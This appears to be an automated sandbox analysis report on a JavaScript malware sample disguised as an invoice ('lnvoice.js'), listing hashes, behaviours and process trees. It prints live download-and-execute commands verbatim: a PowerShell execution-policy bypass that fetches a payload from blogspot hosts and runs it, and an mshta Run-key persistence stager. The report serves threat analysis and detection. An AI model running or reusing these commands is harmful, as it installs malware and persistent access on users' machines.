Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
06-05-2024 06:48
Static task
static1
Behavioral task
behavioral1
Sample
lnvoice.js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
lnvoice.js
Resource
win10v2004-20240426-en
General
-
Target
lnvoice.js
-
Size
1.3MB
-
MD5
65f9c67965df098ac25026ce6b229861
-
SHA1
683649d54495bc1efa6dc22e3efab1c2ac3116fd
-
SHA256
acb9edc3989f14d72f7994426388cc89f9e7a2167160b5cfa971fe0b78299288
-
SHA512
bdcb1a1c24c5148b37b8a3e3ff96305d3637e8e39d9811ea507a8481c682080195d1b7e12b57e42d6572925d8164c1edfb491911dd28277bd37432961d05c0b8
-
SSDEEP
384:AhSvcDV0ZbSpIM8yvPMGjYD9s4S6SVh+GjhmSPgEH0vO6/scXeDQX45vH58jcX52:AhSvWISpEhRLXriI
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 6 5892 powershell.exe 7 5892 powershell.exe 21 5892 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
Processes:
resource yara_rule behavioral2/memory/5344-29-0x0000000000D00000-0x0000000000D86000-memory.dmp agile_net -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:dy=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe | iex);Start-Sleep -Seconds 5;','run']; bv=[dy[3],dy[0],dy[1],dy[2]]; new ActiveXObject(bv[2])[bv[0]](bv[3], 0, true);close();new ActiveXObject(bv[1]).DeleteFile(WScript.ScriptFullName);\"\n" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1" powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 36 api.ipify.org 37 api.ipify.org 39 ip-api.com -
Suspicious use of SetThreadContext 6 IoCs
Processes:
powershell.exedescription pid process target process PID 5892 set thread context of 5344 5892 powershell.exe RegSvcs.exe PID 5892 set thread context of 1244 5892 powershell.exe RegSvcs.exe PID 5892 set thread context of 5428 5892 powershell.exe RegSvcs.exe PID 5892 set thread context of 5516 5892 powershell.exe RegSvcs.exe PID 5892 set thread context of 5336 5892 powershell.exe Msbuild.exe PID 5892 set thread context of 4440 5892 powershell.exe Msbuild.exe -
Drops file in Windows directory 1 IoCs
Processes:
dw20.exedescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
dw20.exedw20.exedw20.exedw20.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe -
Enumerates system info in registry 2 TTPs 8 IoCs
Processes:
dw20.exedw20.exedw20.exedw20.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe -
Suspicious behavior: EnumeratesProcesses 24 IoCs
Processes:
powershell.exeRegSvcs.exeRegSvcs.exepid process 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 1244 RegSvcs.exe 1244 RegSvcs.exe 5344 RegSvcs.exe 5344 RegSvcs.exe 1244 RegSvcs.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe 5892 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exedw20.exedw20.exedw20.exedw20.exeRegSvcs.exeRegSvcs.exedescription pid process Token: SeDebugPrivilege 5892 powershell.exe Token: SeRestorePrivilege 2516 dw20.exe Token: SeBackupPrivilege 2516 dw20.exe Token: SeRestorePrivilege 1216 dw20.exe Token: SeBackupPrivilege 1216 dw20.exe Token: SeRestorePrivilege 2908 dw20.exe Token: SeBackupPrivilege 2908 dw20.exe Token: SeBackupPrivilege 1216 dw20.exe Token: SeBackupPrivilege 1016 dw20.exe Token: SeBackupPrivilege 1216 dw20.exe Token: SeBackupPrivilege 2908 dw20.exe Token: SeBackupPrivilege 1016 dw20.exe Token: SeBackupPrivilege 1216 dw20.exe Token: SeBackupPrivilege 1016 dw20.exe Token: SeBackupPrivilege 2908 dw20.exe Token: SeDebugPrivilege 1244 RegSvcs.exe Token: SeDebugPrivilege 5344 RegSvcs.exe Token: SeBackupPrivilege 2516 dw20.exe Token: SeBackupPrivilege 2516 dw20.exe Token: SeIncreaseQuotaPrivilege 5892 powershell.exe Token: SeSecurityPrivilege 5892 powershell.exe Token: SeTakeOwnershipPrivilege 5892 powershell.exe Token: SeLoadDriverPrivilege 5892 powershell.exe Token: SeSystemProfilePrivilege 5892 powershell.exe Token: SeSystemtimePrivilege 5892 powershell.exe Token: SeProfSingleProcessPrivilege 5892 powershell.exe Token: SeIncBasePriorityPrivilege 5892 powershell.exe Token: SeCreatePagefilePrivilege 5892 powershell.exe Token: SeBackupPrivilege 5892 powershell.exe Token: SeRestorePrivilege 5892 powershell.exe Token: SeShutdownPrivilege 5892 powershell.exe Token: SeDebugPrivilege 5892 powershell.exe Token: SeSystemEnvironmentPrivilege 5892 powershell.exe Token: SeRemoteShutdownPrivilege 5892 powershell.exe Token: SeUndockPrivilege 5892 powershell.exe Token: SeManageVolumePrivilege 5892 powershell.exe Token: 33 5892 powershell.exe Token: 34 5892 powershell.exe Token: 35 5892 powershell.exe Token: 36 5892 powershell.exe Token: SeIncreaseQuotaPrivilege 5892 powershell.exe Token: SeSecurityPrivilege 5892 powershell.exe Token: SeTakeOwnershipPrivilege 5892 powershell.exe Token: SeLoadDriverPrivilege 5892 powershell.exe Token: SeSystemProfilePrivilege 5892 powershell.exe Token: SeSystemtimePrivilege 5892 powershell.exe Token: SeProfSingleProcessPrivilege 5892 powershell.exe Token: SeIncBasePriorityPrivilege 5892 powershell.exe Token: SeCreatePagefilePrivilege 5892 powershell.exe Token: SeBackupPrivilege 5892 powershell.exe Token: SeRestorePrivilege 5892 powershell.exe Token: SeShutdownPrivilege 5892 powershell.exe Token: SeDebugPrivilege 5892 powershell.exe Token: SeSystemEnvironmentPrivilege 5892 powershell.exe Token: SeRemoteShutdownPrivilege 5892 powershell.exe Token: SeUndockPrivilege 5892 powershell.exe Token: SeManageVolumePrivilege 5892 powershell.exe Token: 33 5892 powershell.exe Token: 34 5892 powershell.exe Token: 35 5892 powershell.exe Token: 36 5892 powershell.exe Token: SeIncreaseQuotaPrivilege 5892 powershell.exe Token: SeSecurityPrivilege 5892 powershell.exe Token: SeTakeOwnershipPrivilege 5892 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
Processes:
wscript.exepowershell.exeMsbuild.exeRegSvcs.exeRegSvcs.exeMsbuild.exedescription pid process target process PID 1068 wrote to memory of 5892 1068 wscript.exe powershell.exe PID 1068 wrote to memory of 5892 1068 wscript.exe powershell.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5344 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 1244 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5428 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5516 5892 powershell.exe RegSvcs.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 5336 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5892 wrote to memory of 4440 5892 powershell.exe Msbuild.exe PID 5336 wrote to memory of 2908 5336 Msbuild.exe dw20.exe PID 5336 wrote to memory of 2908 5336 Msbuild.exe dw20.exe PID 5336 wrote to memory of 2908 5336 Msbuild.exe dw20.exe PID 5516 wrote to memory of 1016 5516 RegSvcs.exe dw20.exe PID 5516 wrote to memory of 1016 5516 RegSvcs.exe dw20.exe PID 5516 wrote to memory of 1016 5516 RegSvcs.exe dw20.exe PID 5428 wrote to memory of 1216 5428 RegSvcs.exe dw20.exe PID 5428 wrote to memory of 1216 5428 RegSvcs.exe dw20.exe PID 5428 wrote to memory of 1216 5428 RegSvcs.exe dw20.exe PID 4440 wrote to memory of 2516 4440 Msbuild.exe dw20.exe PID 4440 wrote to memory of 2516 4440 Msbuild.exe dw20.exe PID 4440 wrote to memory of 2516 4440 Msbuild.exe dw20.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\lnvoice.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7604⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pksgg4lz.sbi.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1244-63-0x0000000006F70000-0x0000000006F7A000-memory.dmpFilesize
40KB
-
memory/1244-62-0x0000000006F10000-0x0000000006F60000-memory.dmpFilesize
320KB
-
memory/1244-61-0x0000000006E10000-0x0000000006EAC000-memory.dmpFilesize
624KB
-
memory/1244-60-0x0000000006540000-0x0000000006702000-memory.dmpFilesize
1.8MB
-
memory/1244-41-0x0000000005610000-0x00000000056A2000-memory.dmpFilesize
584KB
-
memory/1244-35-0x00000000054E0000-0x0000000005546000-memory.dmpFilesize
408KB
-
memory/5344-23-0x0000000000400000-0x0000000000486000-memory.dmpFilesize
536KB
-
memory/5344-39-0x0000000005930000-0x0000000005ED4000-memory.dmpFilesize
5.6MB
-
memory/5344-29-0x0000000000D00000-0x0000000000D86000-memory.dmpFilesize
536KB
-
memory/5892-14-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB
-
memory/5892-0-0x00007FF990903000-0x00007FF990905000-memory.dmpFilesize
8KB
-
memory/5892-21-0x0000028D228F0000-0x0000028D228F8000-memory.dmpFilesize
32KB
-
memory/5892-22-0x0000028D23010000-0x0000028D23018000-memory.dmpFilesize
32KB
-
memory/5892-19-0x0000028D228B0000-0x0000028D228BA000-memory.dmpFilesize
40KB
-
memory/5892-30-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB
-
memory/5892-18-0x0000028D228C0000-0x0000028D228DA000-memory.dmpFilesize
104KB
-
memory/5892-17-0x0000028D22890000-0x0000028D2289E000-memory.dmpFilesize
56KB
-
memory/5892-16-0x0000028D3B0D0000-0x0000028D3B2EC000-memory.dmpFilesize
2.1MB
-
memory/5892-20-0x0000028D228E0000-0x0000028D228E8000-memory.dmpFilesize
32KB
-
memory/5892-13-0x0000028D3BAE0000-0x0000028D3BCA2000-memory.dmpFilesize
1.8MB
-
memory/5892-12-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB
-
memory/5892-11-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB
-
memory/5892-7-0x0000028D22FE0000-0x0000028D23002000-memory.dmpFilesize
136KB
-
memory/5892-64-0x00007FF990903000-0x00007FF990905000-memory.dmpFilesize
8KB
-
memory/5892-66-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB
-
memory/5892-67-0x00007FF990900000-0x00007FF9913C1000-memory.dmpFilesize
10.8MB